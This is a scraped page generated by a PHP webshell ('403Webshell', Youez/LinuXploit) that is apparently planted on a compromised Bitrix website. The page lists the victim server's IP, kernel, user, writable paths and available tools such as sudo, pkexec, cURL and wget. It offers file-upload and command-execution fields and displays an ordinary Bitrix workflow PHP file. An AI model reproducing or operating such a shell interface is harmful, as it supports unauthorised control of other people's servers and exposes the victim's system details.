403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/bizproc/lib/worker/task/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/bizproc/lib/worker/task/usertoworkflowstepper.php
<?php

namespace Bitrix\Bizproc\Worker\Task;

use Bitrix\Main;
use Bitrix\Main\Application;

class UserToWorkflowStepper extends Main\Update\Stepper
{
	protected static $moduleId = 'bizproc';

	private const STEP_ROWS_LIMIT = 100;

	public function execute(array &$option)
	{
		$userId = (int)$this->getOuterParams()[0];
		$lastId = (int)($this->getOuterParams()[1] ?? 0);
		$limit = self::STEP_ROWS_LIMIT;

		$connection = Application::getConnection();

		$idCondition = $lastId > 0 ? " AND tu.ID < {$lastId} " : '';
		$queryRows = $connection->query(
			<<<SQL
				select tu.ID from b_bp_task_user tu
				where tu.USER_ID = {$userId} {$idCondition} order by tu.ID DESC LIMIT {$limit}
			SQL
		)->fetchAll();

		$ids = array_column($queryRows, 'ID');

		if (empty($ids))
		{
			return self::FINISH_EXECUTION;
		}

		$this->setOuterParams([$userId, end($ids)]);

		$idsSql = implode(',', $ids);

		$connection->query(
			<<<SQL
				INSERT INTO b_bp_workflow_user
				(USER_ID, WORKFLOW_ID, IS_AUTHOR, WORKFLOW_STATUS, TASK_STATUS, MODIFIED)
				(
					select tu.USER_ID, t.WORKFLOW_ID, 0, case when wi.id is null then 1 else 0 end,
						case when tu.STATUS = '0' then 2 else 1 end,
						case when tu.DATE_UPDATE is null then now() else tu.DATE_UPDATE end
					from b_bp_task_user tu
					inner join b_bp_task t on (t.ID = tu.TASK_ID)
					left join b_bp_workflow_instance wi on (t.WORKFLOW_ID = wi.ID)
					where tu.ID IN ({$idsSql})
				)
				ON DUPLICATE KEY UPDATE WORKFLOW_STATUS = VALUES(WORKFLOW_STATUS), TASK_STATUS = VALUES(TASK_STATUS), MODIFIED = VALUES(MODIFIED)
			SQL
		);

		return self::CONTINUE_EXECUTION;
	}

	public static function bindUser(int $userId): void
	{
		static::bind(0, [$userId]);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit